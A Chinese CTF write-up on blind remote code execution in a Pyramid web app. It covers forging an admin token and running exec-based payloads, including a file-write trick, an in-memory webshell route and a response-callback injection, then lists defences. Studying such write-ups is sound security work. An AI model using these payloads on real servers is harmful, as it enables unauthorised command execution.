对pyramid框架无回显的学习---以一道ctf题目为例
字数 1034 2025-08-22 12:22:15

Pyramid框架无回显RCE漏洞利用与防御

1. 漏洞背景

本文基于强网杯决赛中的一道Pyramid框架CTF题目,展示了如何利用Pyramid框架中的无回显RCE漏洞。题目提供了一个基于Pyramid框架的Web应用,其中存在多个安全漏洞,包括:

  1. 身份验证绕过漏洞
  2. 命令执行漏洞
  3. 无回显情况下的数据外带技术

2. 代码分析

2.1 主要功能模块

app.py 核心功能

# 用户存储
users = []
super_user = ["admin"]
default_alg = "RS"

# 注册API
def register_api(request):
    try:
        username = request.params['username']
        if username in super_user:
            return Response("Not Allowed!")
        password = request.params['password']
    except:
        return Response('Please Input username & password', status="500 Internal Server")
    
    data = {"username": username, "password": password}
    users.append(data)
    token = util.data_encode(data, default_alg)
    return Response("Here is your token: " + token)

# 系统测试接口(存在RCE漏洞)
def system_test(request):
    try:
        code = request.params['code']
        token = request.params['token']
        data = util.data_decode(token)
        if data:
            username = data['username']
            print(username)
            if username in super_user:
                print("Welcome super_user!")
            else:
                return Response('Unauthorized', status="401 Unauthorized")
        else:
            return Response('Unauthorized', status="401 Unauthorized")
    except:
        return Response('Please Input code & token')
    
    print(exec(code))
    return Response("Success!")

util.py 关键功能

# 数据编码/解码函数
def data_encode(data, alg):
    if alg not in ['HS', 'RS']:
        raise "Algorithm must be HS or RS!"
    else:
        private_key, public_key = generate_keys()
        if alg == 'RS':
            signature = sign_data(private_key, data)
            data_bytes = json.dumps(data).encode('utf-8')
            encoded_data1 = base64.b64encode(data_bytes)  # data
            encoded_data2 = base64.b64encode(signature)  # signature
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data4 = base64.b64encode(public_key)  # public_key
            encoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()
            return encoded_data
        else:
            # HS算法实现...
            
def data_decode(encode_data):
    try:
        all_data = encode_data.split('.')
        sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')
        data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')
        json_data = json.loads(data)
        signature = base64.b64decode(sig_bytes)
        alg = base64.b64decode(all_data[2]).decode('utf-8')
        key = secret
        if len(all_data) == 4:
            key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
            key = base64.b64decode(key_bytes)
        # 验证签名
        is_valid = verify_signature(key, json_data, signature, alg)
        if is_valid:
            return json_data
        else:
            return False
    except:
        raise "something error"

2.2 漏洞点分析

  1. 身份验证绕过

    • register_api函数检查用户名是否为admin,但可以通过本地修改代码绕过
    • 签名验证机制可以被伪造
  2. 命令执行漏洞

    • system_test函数直接使用exec(code)执行用户输入的代码
    • 仅检查token中的用户名是否为admin,但token可以被伪造
  3. 无回显问题

    • 命令执行结果不会直接返回给用户
    • 需要通过其他方式获取执行结果

3. 漏洞利用技术

3.1 伪造admin token

  1. 本地修改register_api函数,注释掉admin检查:

    # if username in super_user:
    #     return Response("Not Allowed!")
    
  2. 注册admin账号获取合法token:

    POST /api/register
    username=admin&password=123456
    
  3. 获取的token格式为:base64(data).base64(signature).base64(alg).base64(public_key)

3.2 无回显RCE利用方法

方法一:写文件

import os; os.system("echo `whoami` >> ./static/test.html")

然后访问/test.html查看命令执行结果。

方法二:内存马注入

exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")

内存马分析:

import sys
from pyramid.response import Response

# 获取当前应用的config和app对象
config = sys.modules['__main__'].config
app = sys.modules['__main__'].app

# 添加新路由/shell
config.add_route('shell', '/shell')

# 添加视图函数,执行系统命令并返回结果
config.add_view(
    lambda request: Response(
        __import__('os').popen(request.params.get('1')).read()
    ),
    route_name='shell'
)

# 重新生成WSGI应用
app = config.make_wsgi_app()

使用方式:访问/shell?1=whoami即可执行命令并查看结果。

方法三:利用response回调函数

print(exec("request.add_response_callback(lambda request, response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))"))

此方法通过修改response对象来注入命令执行结果。

4. 防御措施

  1. 输入验证

    • 严格验证用户输入,特别是代码执行相关参数
    • 使用白名单机制限制可执行的操作
  2. 身份验证加强

    • 使用更安全的token生成机制
    • 服务器端存储密钥,避免客户端可伪造
  3. 安全编码实践

    • 避免直接使用exec等危险函数
    • 使用安全的沙箱环境执行受限代码
  4. 日志与监控

    • 记录所有敏感操作
    • 监控异常行为模式
  5. 框架安全配置

    • 限制路由添加权限
    • 禁用不必要的功能

5. 总结

本案例展示了Pyramid框架中一个典型的安全漏洞链:

  1. 身份验证绕过 → 2. 命令注入 → 3. 无回显利用

通过多种技术手段实现了在限制条件下的漏洞利用,同时也提醒开发者在设计系统时需要全面考虑安全防护措施,特别是在权限控制、输入验证和危险函数使用等方面。

Pyramid框架无回显RCE漏洞利用与防御 1. 漏洞背景 本文基于强网杯决赛中的一道Pyramid框架CTF题目,展示了如何利用Pyramid框架中的无回显RCE漏洞。题目提供了一个基于Pyramid框架的Web应用,其中存在多个安全漏洞,包括: 身份验证绕过漏洞 命令执行漏洞 无回显情况下的数据外带技术 2. 代码分析 2.1 主要功能模块 app.py 核心功能 util.py 关键功能 2.2 漏洞点分析 身份验证绕过 : register_api 函数检查用户名是否为 admin ,但可以通过本地修改代码绕过 签名验证机制可以被伪造 命令执行漏洞 : system_test 函数直接使用 exec(code) 执行用户输入的代码 仅检查token中的用户名是否为 admin ,但token可以被伪造 无回显问题 : 命令执行结果不会直接返回给用户 需要通过其他方式获取执行结果 3. 漏洞利用技术 3.1 伪造admin token 本地修改 register_api 函数,注释掉admin检查: 注册admin账号获取合法token: 获取的token格式为: base64(data).base64(signature).base64(alg).base64(public_key) 3.2 无回显RCE利用方法 方法一:写文件 然后访问 /test.html 查看命令执行结果。 方法二:内存马注入 内存马分析: 使用方式:访问 /shell?1=whoami 即可执行命令并查看结果。 方法三:利用response回调函数 此方法通过修改response对象来注入命令执行结果。 4. 防御措施 输入验证 : 严格验证用户输入,特别是代码执行相关参数 使用白名单机制限制可执行的操作 身份验证加强 : 使用更安全的token生成机制 服务器端存储密钥,避免客户端可伪造 安全编码实践 : 避免直接使用 exec 等危险函数 使用安全的沙箱环境执行受限代码 日志与监控 : 记录所有敏感操作 监控异常行为模式 框架安全配置 : 限制路由添加权限 禁用不必要的功能 5. 总结 本案例展示了Pyramid框架中一个典型的安全漏洞链: 身份验证绕过 → 2. 命令注入 → 3. 无回显利用 通过多种技术手段实现了在限制条件下的漏洞利用,同时也提醒开发者在设计系统时需要全面考虑安全防护措施,特别是在权限控制、输入验证和危险函数使用等方面。